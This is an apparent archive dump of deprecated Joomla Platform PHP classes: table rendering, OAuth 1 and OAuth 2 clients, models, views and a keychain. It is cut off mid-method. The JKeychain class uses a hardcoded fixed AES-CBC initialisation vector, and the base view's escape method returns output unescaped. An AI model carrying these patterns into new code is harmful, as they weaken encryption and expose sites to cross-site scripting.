function setColumns($columns) { $this->columns = array_values($columns); return $this; } /** * Adds a row to the table and sets the currently * active row to the new row * * @param array $options Associative array of attributes for the row * @param int $special 1 for a new row in the header, 2 for a new row in the footer * * @return JGrid This object for chaining * * @since 1.7.3 */ public function addRow($options = array(), $special = false) { $this->rows[]['_row'] = $options; $this->activeRow = count($this->rows) - 1; if ($special) { if ($special === 1) { $this->specialRows['header'][] = $this->activeRow; } else { $this->specialRows['footer'][] = $this->activeRow; } } return $this; } /** * Method to get the attributes of the currently active row * * @return array Associative array of attributes * * @since 1.7.3 */ public function getRowOptions() { return $this->rows[$this->activeRow]['_row']; } /** * Method to set the attributes of the currently active row * * @param array $options Associative array of attributes * * @return JGrid This object for chaining * * @since 1.7.3 */ public function setRowOptions($options) { $this->rows[$this->activeRow]['_row'] = $options; return $this; } /** * Get the currently active row ID * * @return int ID of the currently active row * * @since 1.7.3 */ public function getActiveRow() { return $this->activeRow; } /** * Set the currently active row * * @param int $id ID of the row to be set to current * * @return JGrid This object for chaining * * @since 1.7.3 */ public function setActiveRow($id) { $this->activeRow = (int) $id; return $this; } /** * Set cell content for a specific column for the * currently active row * * @param string $name Name of the column * @param string $content Content for the cell * @param array $option Associative array of attributes for the td-element * @param bool $replace If false, the content is appended to the current content of the cell * * @return JGrid This object for chaining * * @since 1.7.3 */ public function setRowCell($name, $content, $option = array(), $replace = true) { if ($replace || !isset($this->rows[$this->activeRow][$name])) { $cell = new stdClass; $cell->options = $option; $cell->content = $content; $this->rows[$this->activeRow][$name] = $cell; } else { $this->rows[$this->activeRow][$name]->content .= $content; $this->rows[$this->activeRow][$name]->options = $option; } return $this; } /** * Get all data for a row * * @param int $id ID of the row to return * * @return array Array of columns of a table row * * @since 1.7.3 */ public function getRow($id = false) { if ($id === false) { $id = $this->activeRow; } if (isset($this->rows[(int) $id])) { return $this->rows[(int) $id]; } else { return false; } } /** * Get the IDs of all rows in the table * * @param int $special false for the standard rows, 1 for the header rows, 2 for the footer rows * * @return array Array of IDs * * @since 1.7.3 */ public function getRows($special = false) { if ($special) { if ($special === 1) { return $this->specialRows['header']; } else { return $this->specialRows['footer']; } } return array_diff(array_keys($this->rows), array_merge($this->specialRows['header'], $this->specialRows['footer'])); } /** * Delete a row from the object * * @param int $id ID of the row to be deleted * * @return JGrid This object for chaining * * @since 1.7.3 */ public function deleteRow($id) { unset($this->rows[$id]); if (in_array($id, $this->specialRows['header'])) { unset($this->specialRows['header'][array_search($id, $this->specialRows['header'])]); } if (in_array($id, $this->specialRows['footer'])) { unset($this->specialRows['footer'][array_search($id, $this->specialRows['footer'])]); } if ($this->activeRow == $id) { end($this->rows); $this->activeRow = key($this->rows); } return $this; } /** * Render the HTML table * * @return string The rendered HTML table * * @since 1.7.3 */ public function toString() { $output = array(); $output[] = '<table' . $this->renderAttributes($this->getTableOptions()) . '>'; if (count($this->specialRows['header'])) { $output[] = $this->renderArea($this->specialRows['header'], 'thead', 'th'); } if (count($this->specialRows['footer'])) { $output[] = $this->renderArea($this->specialRows['footer'], 'tfoot'); } $ids = array_diff(array_keys($this->rows), array_merge($this->specialRows['header'], $this->specialRows['footer'])); if (count($ids)) { $output[] = $this->renderArea($ids); } $output[] = '</table>'; return implode('', $output); } /** * Render an area of the table * * @param array $ids IDs of the rows to render * @param string $area Name of the area to render. Valid: tbody, tfoot, thead * @param string $cell Name of the cell to render. Valid: td, th * * @return string The rendered table area * * @since 1.7.3 */ protected function renderArea($ids, $area = 'tbody', $cell = 'td') { $output = array(); $output[] = '<' . $area . ">\n"; foreach ($ids as $id) { $output[] = "\t<tr" . $this->renderAttributes($this->rows[$id]['_row']) . ">\n"; foreach ($this->getColumns() as $name) { if (isset($this->rows[$id][$name])) { $column = $this->rows[$id][$name]; $output[] = "\t\t<" . $cell . $this->renderAttributes($column->options) . '>' . $column->content . '</' . $cell . ">\n"; } } $output[] = "\t</tr>\n"; } $output[] = '</' . $area . '>'; return implode('', $output); } /** * Renders an HTML attribute from an associative array * * @param array $attributes Associative array of attributes * * @return string The HTML attribute string * * @since 1.7.3 */ protected function renderAttributes($attributes) { if (count((array) $attributes) == 0) { return ''; } $return = array(); foreach ($attributes as $key => $option) { $return[] = $key . '="' . $option . '"'; } return ' ' . implode(' ', $return); } } PK�\���7�7joomla/oauth1/client.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage OAuth1 * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); use Joomla\Registry\Registry; /** * Joomla Platform class for interacting with an OAuth 1.0 and 1.0a server. * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/oauth1` framework package that will be bundled instead */ abstract class JOAuth1Client { /** * @var Registry Options for the JOAuth1Client object. * @since 3.2.0 */ protected $options; /** * @var array Contains access token key, secret and verifier. * @since 3.2.0 */ protected $token = array(); /** * @var JHttp The HTTP client object to use in sending HTTP requests. * @since 3.2.0 */ protected $client; /** * @var JInput The input object to use in retrieving GET/POST data. * @since 3.2.0 */ protected $input; /** * @var JApplicationWeb The application object to send HTTP headers for redirects. * @since 3.2.0 */ protected $application; /** * @var string Selects which version of OAuth to use: 1.0 or 1.0a. * @since 3.2.0 */ protected $version; /** * Constructor. * * @param Registry $options OAuth1Client options object. * @param JHttp $client The HTTP client object. * @param JInput $input The input object * @param JApplicationWeb $application The application object * @param string $version Specify the OAuth version. By default we are using 1.0a. * * @since 3.2.0 */ public function __construct(Registry $options = null, JHttp $client = null, JInput $input = null, JApplicationWeb $application = null, $version = null) { $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : JHttpFactory::getHttp($this->options); $this->input = isset($input) ? $input : JFactory::getApplication()->input; $this->application = isset($application) ? $application : new JApplicationWeb; $this->version = isset($version) ? $version : '1.0a'; } /** * Method to for the oauth flow. * * @return array Contains access token key, secret and verifier. * * @since 3.2.0 * @throws DomainException */ public function authenticate() { // Already got some credentials stored? if ($this->token) { $response = $this->verifyCredentials(); if ($response) { return $this->token; } else { $this->token = null; } } // Check for callback. if (strcmp($this->version, '1.0a') === 0) { $verifier = $this->input->get('oauth_verifier'); } else { $verifier = $this->input->get('oauth_token'); } if (empty($verifier)) { // Generate a request token. $this->_generateRequestToken(); // Authenticate the user and authorise the app. $this->_authorise(); } // Callback else { $session = JFactory::getSession(); // Get token form session. $this->token = array('key' => $session->get('key', null, 'oauth_token'), 'secret' => $session->get('secret', null, 'oauth_token')); // Verify the returned request token. if (strcmp($this->token['key'], $this->input->get('oauth_token')) !== 0) { throw new DomainException('Bad session!'); } // Set token verifier for 1.0a. if (strcmp($this->version, '1.0a') === 0) { $this->token['verifier'] = $this->input->get('oauth_verifier'); } // Generate access token. $this->_generateAccessToken(); // Return the access token. return $this->token; } } /** * Method used to get a request token. * * @return void * * @since 3.2.0 * @throws DomainException */ private function _generateRequestToken() { // Set the callback URL. if ($this->getOption('callback')) { $parameters = array( 'oauth_callback' => $this->getOption('callback'), ); } else { $parameters = array(); } // Make an OAuth request for the Request Token. $response = $this->oauthRequest($this->getOption('requestTokenURL'), 'POST', $parameters); parse_str($response->body, $params); if (strcmp($this->version, '1.0a') === 0 && strcmp($params['oauth_callback_confirmed'], 'true') !== 0) { throw new DomainException('Bad request token!'); } // Save the request token. $this->token = array('key' => $params['oauth_token'], 'secret' => $params['oauth_token_secret']); // Save the request token in session $session = JFactory::getSession(); $session->set('key', $this->token['key'], 'oauth_token'); $session->set('secret', $this->token['secret'], 'oauth_token'); } /** * Method used to authorise the application. * * @return void * * @since 3.2.0 */ private function _authorise() { $url = $this->getOption('authoriseURL') . '?oauth_token=' . $this->token['key']; if ($this->getOption('scope')) { $scope = is_array($this->getOption('scope')) ? implode(' ', $this->getOption('scope')) : $this->getOption('scope'); $url .= '&scope=' . urlencode($scope); } if ($this->getOption('sendheaders')) { $this->application->redirect($url); } } /** * Method used to get an access token. * * @return void * * @since 3.2.0 */ private function _generateAccessToken() { // Set the parameters. $parameters = array( 'oauth_token' => $this->token['key'], ); if (strcmp($this->version, '1.0a') === 0) { $parameters = array_merge($parameters, array('oauth_verifier' => $this->token['verifier'])); } // Make an OAuth request for the Access Token. $response = $this->oauthRequest($this->getOption('accessTokenURL'), 'POST', $parameters); parse_str($response->body, $params); // Save the access token. $this->token = array('key' => $params['oauth_token'], 'secret' => $params['oauth_token_secret']); } /** * Method used to make an OAuth request. * * @param string $url The request URL. * @param string $method The request method. * @param array $parameters Array containing request parameters. * @param mixed $data The POST request data. * @param array $headers An array of name-value pairs to include in the header of the request * * @return JHttpResponse * * @since 3.2.0 * @throws DomainException */ public function oauthRequest($url, $method, $parameters, $data = array(), $headers = array()) { // Set the parameters. $defaults = array( 'oauth_consumer_key' => $this->getOption('consumer_key'), 'oauth_signature_method' => 'HMAC-SHA1', 'oauth_version' => '1.0', 'oauth_nonce' => $this->generateNonce(), 'oauth_timestamp' => time(), ); $parameters = array_merge($parameters, $defaults); // Do not encode multipart parameters. Do not include $data in the signature if $data is not array. if (isset($headers['Content-Type']) && strpos($headers['Content-Type'], 'multipart/form-data') !== false || !is_array($data)) { $oauth_headers = $parameters; } else { // Use all parameters for the signature. $oauth_headers = array_merge($parameters, $data); } // Sign the request. $oauth_headers = $this->_signRequest($url, $method, $oauth_headers); // Get parameters for the Authorisation header. if (is_array($data)) { $oauth_headers = array_diff_key($oauth_headers, $data); } // Send the request. switch ($method) { case 'GET': $url = $this->toUrl($url, $data); $response = $this->client->get($url, array('Authorization' => $this->_createHeader($oauth_headers))); break; case 'POST': $headers = array_merge($headers, array('Authorization' => $this->_createHeader($oauth_headers))); $response = $this->client->post($url, $data, $headers); break; case 'PUT': $headers = array_merge($headers, array('Authorization' => $this->_createHeader($oauth_headers))); $response = $this->client->put($url, $data, $headers); break; case 'DELETE': $headers = array_merge($headers, array('Authorization' => $this->_createHeader($oauth_headers))); $response = $this->client->delete($url, $headers); break; } // Validate the response code. $this->validateResponse($url, $response); return $response; } /** * Method to validate a response. * * @param string $url The request URL. * @param JHttpResponse $response The response to validate. * * @return void * * @since 3.2.0 * @throws DomainException */ abstract public function validateResponse($url, $response); /** * Method used to create the header for the POST request. * * @param array $parameters Array containing request parameters. * * @return string The header. * * @since 3.2.0 */ private function _createHeader($parameters) { $header = 'OAuth '; foreach ($parameters as $key => $value) { if (!strcmp($header, 'OAuth ')) { $header .= $key . '="' . $this->safeEncode($value) . '"'; } else { $header .= ', ' . $key . '="' . $value . '"'; } } return $header; } /** * Method to create the URL formed string with the parameters. * * @param string $url The request URL. * @param array $parameters Array containing request parameters. * * @return string The formed URL. * * @since 3.2.0 */ public function toUrl($url, $parameters) { foreach ($parameters as $key => $value) { if (is_array($value)) { foreach ($value as $v) { if (strpos($url, '?') === false) { $url .= '?' . $key . '=' . $v; } else { $url .= '&' . $key . '=' . $v; } } } else { if (strpos($value, ' ') !== false) { $value = $this->safeEncode($value); } if (strpos($url, '?') === false) { $url .= '?' . $key . '=' . $value; } else { $url .= '&' . $key . '=' . $value; } } } return $url; } /** * Method used to sign requests. * * @param string $url The URL to sign. * @param string $method The request method. * @param array $parameters Array containing request parameters. * * @return array * * @since 3.2.0 */ private function _signRequest($url, $method, $parameters) { // Create the signature base string. $base = $this->_baseString($url, $method, $parameters); $parameters['oauth_signature'] = $this->safeEncode( base64_encode( hash_hmac('sha1', $base, $this->_prepareSigningKey(), true) ) ); return $parameters; } /** * Prepare the signature base string. * * @param string $url The URL to sign. * @param string $method The request method. * @param array $parameters Array containing request parameters. * * @return string The base string. * * @since 3.2.0 */ private function _baseString($url, $method, $parameters) { // Sort the parameters alphabetically uksort($parameters, 'strcmp'); // Encode parameters. foreach ($parameters as $key => $value) { $key = $this->safeEncode($key); if (is_array($value)) { foreach ($value as $v) { $v = $this->safeEncode($v); $kv[] = "{$key}={$v}"; } } else { $value = $this->safeEncode($value); $kv[] = "{$key}={$value}"; } } // Form the parameter string. $params = implode('&', $kv); // Signature base string elements. $base = array( $method, $url, $params, ); // Return the base string. return implode('&', $this->safeEncode($base)); } /** * Encodes the string or array passed in a way compatible with OAuth. * If an array is passed each array value will will be encoded. * * @param mixed $data The scalar or array to encode. * * @return string $data encoded in a way compatible with OAuth. * * @since 3.2.0 */ public function safeEncode($data) { if (is_array($data)) { return array_map(array($this, 'safeEncode'), $data); } elseif (is_scalar($data)) { return str_ireplace( array('+', '%7E'), array(' ', '~'), rawurlencode($data) ); } else { return ''; } } /** * Method used to generate the current nonce. * * @return string The current nonce. * * @since 3.2.0 */ public static function generateNonce() { $mt = microtime(); $rand = JCrypt::genRandomBytes(); // The md5s look nicer than numbers. return md5($mt . $rand); } /** * Prepares the OAuth signing key. * * @return string The prepared signing key. * * @since 3.2.0 */ private function _prepareSigningKey() { return $this->safeEncode($this->getOption('consumer_secret')) . '&' . $this->safeEncode(($this->token) ? $this->token['secret'] : ''); } /** * Returns an HTTP 200 OK response code and a representation of the requesting user if authentication was successful; * returns a 401 status code and an error message if not. * * @return array The decoded JSON response * * @since 3.2.0 */ abstract public function verifyCredentials(); /** * Get an option from the JOauth1aClient instance. * * @param string $key The name of the option to get * * @return mixed The option value * * @since 3.2.0 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JOauth1aClient instance. * * @param string $key The name of the option to set * @param mixed $value The option value to set * * @return JOAuth1Client This object for method chaining * * @since 3.2.0 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } /** * Get the oauth token key or secret. * * @return array The oauth token key and secret. * * @since 3.2.0 */ public function getToken() { return $this->token; } /** * Set the oauth token. * * @param array $token The access token key and secret. * * @return JOAuth1Client This object for method chaining. * * @since 3.2.0 */ public function setToken($token) { $this->token = $token; return $this; } } PK�\UOh���joomla/model/model.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Model * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Joomla Platform Model Interface * * @since 3.0.0 * @deprecated 4.0 Use the default MVC library */ interface JModel { /** * Get the model state. * * @return Registry The state object. * * @since 3.0.0 */ public function getState(); /** * Set the model state. * * @param Registry $state The state object. * * @return void * * @since 3.0.0 */ public function setState(Registry $state); } PK�\���::joomla/model/base.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Model * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Joomla Platform Base Model Class * * @since 3.0.0 * @deprecated 4.0 Use the default MVC library */ abstract class JModelBase implements JModel { /** * The model state. * * @var Registry * @since 3.0.0 */ protected $state; /** * Instantiate the model. * * @param Registry $state The model state. * * @since 3.0.0 */ public function __construct(Registry $state = null) { // Setup the model. $this->state = isset($state) ? $state : $this->loadState(); } /** * Get the model state. * * @return Registry The state object. * * @since 3.0.0 */ public function getState() { return $this->state; } /** * Set the model state. * * @param Registry $state The state object. * * @return void * * @since 3.0.0 */ public function setState(Registry $state) { $this->state = $state; } /** * Load the model state. * * @return Registry The state object. * * @since 3.0.0 */ protected function loadState() { return new Registry; } } PK�\�s\���joomla/model/database.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Model * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Joomla Platform Database Model Class * * @since 3.0.0 * @deprecated 4.0 Use the default MVC library */ abstract class JModelDatabase extends JModelBase { /** * The database driver. * * @var JDatabaseDriver * @since 3.0.0 */ protected $db; /** * Instantiate the model. * * @param Registry $state The model state. * @param JDatabaseDriver $db The database adapter. * * @since 3.0.0 */ public function __construct(Registry $state = null, JDatabaseDriver $db = null) { parent::__construct($state); // Setup the model. $this->db = isset($db) ? $db : $this->loadDb(); } /** * Get the database driver. * * @return JDatabaseDriver The database driver. * * @since 3.0.0 */ public function getDb() { return $this->db; } /** * Set the database driver. * * @param JDatabaseDriver $db The database driver. * * @return void * * @since 3.0.0 */ public function setDb(JDatabaseDriver $db) { $this->db = $db; } /** * Load the database driver. * * @return JDatabaseDriver The database driver. * * @since 3.0.0 */ protected function loadDb() { return JFactory::getDbo(); } } PK�\*> ��joomla/keychain/keychain.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Keychain * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Keychain Class * * @since 3.1.4 * @deprecated 4.0 Deprecated without replacement */ class JKeychain extends \Joomla\Registry\Registry { /** * @var string Method to use for encryption. * @since 3.1.4 */ public $method = 'aes-128-cbc'; /** * @var string Initialisation vector for encryption method. * @since 3.1.4 */ public $iv = '1234567890123456'; /** * Create a passphrase file * * @param string $passphrase The passphrase to store in the passphrase file. * @param string $passphraseFile Path to the passphrase file to create. * @param string $privateKeyFile Path to the private key file to encrypt the passphrase file. * @param string $privateKeyPassphrase The passphrase for the private key. * * @return boolean Result of writing the passphrase file to disk. * * @since 3.1.4 * @throws RuntimeException */ public function createPassphraseFile($passphrase, $passphraseFile, $privateKeyFile, $privateKeyPassphrase) { $privateKey = openssl_get_privatekey(file_get_contents($privateKeyFile), $privateKeyPassphrase); if (!$privateKey) { throw new RuntimeException('Failed to load private key.'); } $crypted = ''; if (!openssl_private_encrypt($passphrase, $crypted, $privateKey)) { throw new RuntimeException('Failed to encrypt data using private key.'); } return file_put_contents($passphraseFile, $crypted); } /** * Delete a registry value (very simple method) * * @param string $path Registry Path (e.g. joomla.content.showauthor) * * @return mixed Value of old value or boolean false if operation failed * * @since 3.1.4 */ public function deleteValue($path) { $result = null; // Explode the registry path into an array $nodes = explode('.', $path); if ($nodes) { // Initialize the current node to be the registry root. $node = $this->data; // Traverse the registry to find the correct node for the result. for ($i = 0, $n = count($nodes) - 1; $i < $n; $i++) { if (!isset($node->{$nodes[$i]}) && ($i != $n)) { $node->{$nodes[$i]} = new stdClass; } $node = $node->{$nodes[$i]}; } // Get the old value if exists so we can return it $result = $node->{$nodes[$i]}; unset($node->{$nodes[$i]}); } return $result; } /** * Load a keychain file into this object. * * @param string $keychainFile Path to the keychain file. * @param string $passphraseFile The path to the passphrase file to decript the keychain. * @param string $publicKeyFile The file containing the public key to decrypt the passphrase file. * * @return boolean Result of loading the object. * * @since 3.1.4 * @throws RuntimeException */ public function loadKeychain($keychainFile, $passphraseFile, $publicKeyFile) { if (!file_exists($keychainFile)) { throw new RuntimeException('Attempting to load non-existent keychain file'); } $passphrase = $this->getPassphraseFromFile($passphraseFile, $publicKeyFile); $cleartext = openssl_decrypt(file_get_contents($keychainFile), $this->method, $passphrase, true, $this->iv); if ($cleartext === false) { throw new RuntimeException('Failed to decrypt keychain file'); } return $this->loadObject(json_decode($cleartext)); } /** * Save this keychain to a file. * * @param string $keychainFile The path to the keychain file. * @param string $passphraseFile The path to the passphrase file to encrypt the keychain. * @param string $publicKeyFile The file containing the public key to decrypt the passphrase file. * * @return boolean Result of storing the file. * * @since 3.1.4 * @throws RuntimeException */ public function saveKeychain($keychainFile, $passphraseFile, $publicKeyFile) { $passphrase = $this->getPassphraseFromFile($passphraseFile, $publicKeyFile); $data = $this->toString('JSON'); $encrypted = @openssl_encrypt($data, $this->method, $passphrase, true, $this->iv); if ($encrypted === false) { throw new RuntimeException('Unable to encrypt keychain'); } return file_put_contents($keychainFile, $encrypted); } /** * Get the passphrase for this keychain * * @param string $passphraseFile The file containing the passphrase to encrypt and decrypt. * @param string $publicKeyFile The file containing the public key to decrypt the passphrase file. * * @return string The passphrase in from passphraseFile * * @since 3.1.4 * @throws RuntimeException */ protected function getPassphraseFromFile($passphraseFile, $publicKeyFile) { if (!file_exists($publicKeyFile)) { throw new RuntimeException('Missing public key file'); } $publicKey = openssl_get_publickey(file_get_contents($publicKeyFile)); if (!$publicKey) { throw new RuntimeException('Failed to load public key.'); } if (!file_exists($passphraseFile)) { throw new RuntimeException('Missing passphrase file'); } $passphrase = ''; if (!openssl_public_decrypt(file_get_contents($passphraseFile), $passphrase, $publicKey)) { throw new RuntimeException('Failed to decrypt passphrase file'); } return $passphrase; } } PK�\����joomla/view/base.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage View * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Platform Base View Class * * @since 3.0.0 * @deprecated 4.0 Use the default MVC library */ abstract class JViewBase implements JView { /** * The model object. * * @var JModel * @since 3.0.0 */ protected $model; /** * Method to instantiate the view. * * @param JModel $model The model object. * * @since 3.0.0 */ public function __construct(JModel $model) { // Setup dependencies. $this->model = $model; } /** * Method to escape output. * * @param string $output The output to escape. * * @return string The escaped output. * * @see JView::escape() * @since 3.0.0 */ public function escape($output) { return $output; } } PK�\��[QQjoomla/view/html.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage View * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; jimport('joomla.filesystem.path'); /** * Joomla Platform HTML View Class * * @since 3.0.0 * @deprecated 4.0 Use the default MVC library */ abstract class JViewHtml extends JViewBase { /** * The view layout. * * @var string * @since 3.0.0 */ protected $layout = 'default'; /** * The paths queue. * * @var SplPriorityQueue * @since 3.0.0 */ protected $paths; /** * Method to instantiate the view. * * @param JModel $model The model object. * @param SplPriorityQueue $paths The paths queue. * * @since 3.0.0 */ public function __construct(JModel $model, SplPriorityQueue $paths = null) { parent::__construct($model); // Setup dependencies. $this->paths = isset($paths) ? $paths : $this->loadPaths(); } /** * Magic toString method that is a proxy for the render method. * * @return string * * @since 3.0.0 */ public function __toString() { return $this->render(); } /** * Method to escape output. * * @param string $output The output to escape. * * @return string The escaped output. * * @note the ENT_COMPAT flag will be replaced by ENT_QUOTES in Joomla 4.0 to also escape single quotes * * @see JView::escape() * @since 3.0.0 */ public function escape($output) { // Escape the output. return htmlspecialchars($output, ENT_COMPAT, 'UTF-8'); } /** * Method to get the view layout. * * @return string The layout name. * * @since 3.0.0 */ public function getLayout() { return $this->layout; } /** * Method to get the layout path. * * @param string $layout The layout name. * * @return mixed The layout file name if found, false otherwise. * * @since 3.0.0 */ public function getPath($layout) { // Get the layout file name. $file = JPath::clean($layout . '.php'); // Find the layout file path. $path = JPath::find(clone $this->paths, $file); return $path; } /** * Method to get the view paths. * * @return SplPriorityQueue The paths queue. * * @since 3.0.0 */ public function getPaths() { return $this->paths; } /** * Method to render the view. * * @return string The rendered view. * * @since 3.0.0 * @throws RuntimeException */ public function render() { // Get the layout path. $path = $this->getPath($this->getLayout()); // Check if the layout path was found. if (!$path) { throw new RuntimeException('Layout Path Not Found'); } // Start an output buffer. ob_start(); // Load the layout. include $path; // Get the layout contents. $output = ob_get_clean(); return $output; } /** * Method to set the view layout. * * @param string $layout The layout name. * * @return JViewHtml Method supports chaining. * * @since 3.0.0 */ public function setLayout($layout) { $this->layout = $layout; return $this; } /** * Method to set the view paths. * * @param SplPriorityQueue $paths The paths queue. * * @return JViewHtml Method supports chaining. * * @since 3.0.0 */ public function setPaths(SplPriorityQueue $paths) { $this->paths = $paths; return $this; } /** * Method to load the paths queue. * * @return SplPriorityQueue The paths queue. * * @since 3.0.0 */ protected function loadPaths() { return new SplPriorityQueue; } } PK�\ͯ�r��joomla/view/view.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage View * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Platform View Interface * * @since 3.0.0 * @deprecated 4.0 Use the default MVC library */ interface JView { /** * Method to escape output. * * @param string $output The output to escape. * * @return string The escaped output. * * @since 3.0.0 */ public function escape($output); /** * Method to render the view. * * @return string The rendered view. * * @since 3.0.0 * @throws RuntimeException */ public function render(); } PK�\�0xBb$b$joomla/oauth2/client.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage OAuth2 * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Joomla Platform class for interacting with an OAuth 2.0 server. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/oauth2` framework package that will be bundled instead */ class JOAuth2Client { /** * @var Registry Options for the JOAuth2Client object. * @since 3.1.4 */ protected $options; /** * @var JHttp The HTTP client object to use in sending HTTP requests. * @since 3.1.4 */ protected $http; /** * @var JInput The input object to use in retrieving GET/POST data. * @since 3.1.4 */ protected $input; /** * @var JApplicationWeb The application object to send HTTP headers for redirects. * @since 3.1.4 */ protected $application; /** * Constructor. * * @param Registry $options JOAuth2Client options object * @param JHttp $http The HTTP client object * @param JInput $input The input object * @param JApplicationWeb $application The application object * * @since 3.1.4 */ public function __construct(Registry $options = null, JHttp $http = null, JInput $input = null, JApplicationWeb $application = null) { $this->options = isset($options) ? $options : new Registry; $this->http = isset($http) ? $http : new JHttp($this->options); $this->application = isset($application) ? $application : new JApplicationWeb; $this->input = isset($input) ? $input : $this->application->input; } /** * Get the access token or redict to the authentication URL. * * @return string The access token * * @since 3.1.4 * @throws RuntimeException */ public function authenticate() { if ($data['code'] = $this->input->get('code', false, 'raw')) { $data['grant_type'] = 'authorization_code'; $data['redirect_uri'] = $this->getOption('redirecturi'); $data['client_id'] = $this->getOption('clientid'); $data['client_secret'] = $this->getOption('clientsecret'); $response = $this->http->post($this->getOption('tokenurl'), $data); if ($response->code >= 200 && $response->code < 400) { if (strpos($response->headers['Content-Type'], 'application/json') === 0) { $token = array_merge(json_decode($response->body, true), array('created' => time())); } else { parse_str($response->body, $token); $token = array_merge($token, array('created' => time())); } $this->setToken($token); return $token; } else { throw new RuntimeException('Error code ' . $response->code . ' received requesting access token: ' . $response->body . '.'); } } if ($this->getOption('sendheaders')) { $this->application->redirect($this->createUrl()); } return false; } /** * Verify if the client has been authenticated * * @return boolean Is authenticated * * @since 3.1.4 */ public function isAuthenticated() { $token = $this->getToken(); if (!$token || !array_key_exists('access_token', $token)) { return false; } elseif (array_key_exists('expires_in', $token) && $token['created'] + $token['expires_in'] < time() + 20) { return false; } else { return true; } } /** * Create the URL for authentication. * * @return JHttpResponse The HTTP response * * @since 3.1.4 * @throws InvalidArgumentException */ public function createUrl() { if (!$this->getOption('authurl') || !$this->getOption('clientid')) { throw new InvalidArgumentException('Authorization URL and client_id are required'); } $url = $this->getOption('authurl'); if (strpos($url, '?')) { $url .= '&'; } else { $url .= '?'; } $url .= 'response_type=code'; $url .= '&client_id=' . urlencode($this->getOption('clientid')); if ($this->getOption('redirecturi')) { $url .= '&redirect_uri=' . urlencode($this->getOption('redirecturi')); } if ($this->getOption('scope')) { $scope = is_array($this->getOption('scope')) ? implode(' ', $this->getOption('scope')) : $this->getOption('scope'); $url .= '&scope=' . urlencode($scope); } if ($this->getOption('state')) { $url .= '&state=' . urlencode($this->getOption('state')); } if (is_array($this->getOption('requestparams'))) { foreach ($this->getOption('requestparams') as $key => $value) { $url .= '&' . $key . '=' . urlencode($value); } } return $url; } /** * Send a signed Oauth request. * * @param string $url The URL for the request. * @param mixed $data The data to include in the request * @param array $headers The headers to send with the request * @param string $method The method with which to send the request * @param int $timeout The timeout for the request * * @return string The URL. * * @since 3.1.4 * @throws InvalidArgumentException * @throws RuntimeException */ public function query($url, $data = null, $headers = array(), $method = 'get', $timeout = null) { $token = $this->getToken(); if (array_key_exists('expires_in', $token) && $token['created'] + $token['expires_in'] < time() + 20) { if (!$this->getOption('userefresh')) { return false; } $token = $this->refreshToken($token['refresh_token']); } if (!$this->getOption('authmethod') || $this->getOption('authmethod') == 'bearer') { $headers['Authorization'] = 'Bearer ' . $token['access_token']; } elseif ($this->getOption('authmethod') == 'get') { if (strpos($url, '?')) { $url .= '&'; } else { $url .= '?'; } $url .= $this->getOption('getparam') ? $this->getOption('getparam') : 'access_token'; $url .= '=' . $token['access_token']; } switch ($method) { case 'head': case 'get': case 'delete': case 'trace': $response = $this->http->$method($url, $headers, $timeout); break; case 'post': case 'put': case 'patch': $response = $this->http->$method($url, $data, $headers, $timeout); break; default: throw new InvalidArgumentException('Unknown HTTP request method: ' . $method . '.'); } if ($response->code < 200 || $response->code >= 400) { throw new RuntimeException('Error code ' . $response->code . ' received requesting data: ' . $response->body . '.'); } return $response; } /** * Get an option from the JOAuth2Client instance. * * @param string $key The name of the option to get * * @return mixed The option value * * @since 3.1.4 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JOAuth2Client instance. * * @param string $key The name of the option to set * @param mixed $value The option value to set * * @return JOAuth2Client This object for method chaining * * @since 3.1.4 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } /** * Get the access token from the JOAuth2Client instance. * * @return array The access token * * @since 3.1.4 */ public function getToken() { return $this->getOption('accesstoken'); } /** * Set an option for the JOAuth2Client instance. * * @param array $value The access token * * @return JOAuth2Client This object for method chaining * * @since 3.1.4 */ public function setToken($value) { if (is_array($value) && !array_key_exists('expires_in', $value) && array_key_exists('expires', $value)) { $value['expires_in'] = $value['expires']; unset($value['expires']); } $this->setOption('accesstoken', $value); return $this; } /** * Refresh the access token instance. * * @param string $token The refresh token * * @return array The new access token * * @since 3.1.4 * @throws Exception * @throws RuntimeException */ public function refreshToken($token = null) { if (!$this->getOption('userefresh')) { throw new RuntimeException('Refresh token is not supported for this OAuth instance.'); } if (!$token) { $token = 